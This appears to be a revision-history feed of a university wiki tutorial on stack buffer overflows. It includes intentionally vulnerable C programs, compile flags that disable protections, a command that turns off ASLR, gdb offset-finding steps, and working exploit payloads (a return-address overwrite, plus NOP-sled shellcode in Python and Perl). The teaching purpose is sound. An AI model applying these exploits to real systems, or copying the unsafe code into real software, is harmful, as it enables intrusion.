Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16998</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16998"/>
		<updated>2024-12-11T18:01:24Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
=== Example 3 ===&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 4 ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[Ausgewählte Kapitel der IT-Security]] (2024, 2025)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16997</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=16997"/>
		<updated>2024-12-11T17:59:58Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions. &lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
